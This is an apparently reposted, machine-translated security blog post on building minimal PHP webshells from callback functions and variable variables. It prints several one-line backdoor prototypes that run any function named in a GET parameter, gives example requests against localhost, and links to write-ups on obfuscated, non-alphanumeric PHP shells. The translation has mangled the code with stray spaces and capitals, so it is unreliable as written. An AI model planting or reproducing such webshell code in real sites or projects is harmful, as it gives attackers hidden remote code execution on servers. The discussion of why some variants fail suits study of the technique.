Discussion on PHP variable security token

 

Previous: http://www.bkjia.com/Article/201110/108536.html

You will never forget

Non alphanumeric code in PHP

Http://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/

 

Tiny PHP Shell

Http://h.ackack.net/tiny-php-shell.html

 

These two things are the advanced practical use of variable variables and callback functions in WEBSHELL.

 

I have read the PHP manual and I should know that variables cannot directly use super global variables, but only common variables. So we need to understand the prototype of variables in depth.

 

The first is the prototype of the callback function WEBSHELL:

<? Php
$ _ GET ['X'] ();
?>

Access http: // 127.0.0.1/2.php? After x = phpinfo, The phpinfo function is executed. The name of the callback function is not limited to the use of super global variables.

 

The prototype of the variable WEBSHELL:

<? Php
$ X = $ _ GET ['X'];

$ A = "$ {$ x ()}";
?>

Access: // 127.0.0.1/2.php? After x = phpinfo, The phpinfo function is executed. Common variables can be used for variable variables.

 

An example of failure to prototype a variable WEBSHELL:

<? Php
$ X = $ _ GET ['X'];
$ A = "$ {$ x }";

?>

Http: // 127.0.0.1/2.php? X = phpinfo

BurstParse error: Syntax error, unexpected T_STRING

Http: // 127.0.0.1/2.php? X = phpinfo ()

Code not executed

Http: // 127.0.0.1/2.php? X = @ phpinfo ()

Code not executed

 

Here we should know a lot about the source-by-source mechanism. The PHP manual shows that variable variables only dynamically set variables. variables including variable names are only passing data, and data is not executed as code!

 

Data must be used as the parameters of the function for code execution.So variable variables must actually become available webshells and be separated from functions such as eval. In essence, parameters need to be passed into the function.Dynamic functions, that is, function callbackThis feature

From: RAyh4c Black Box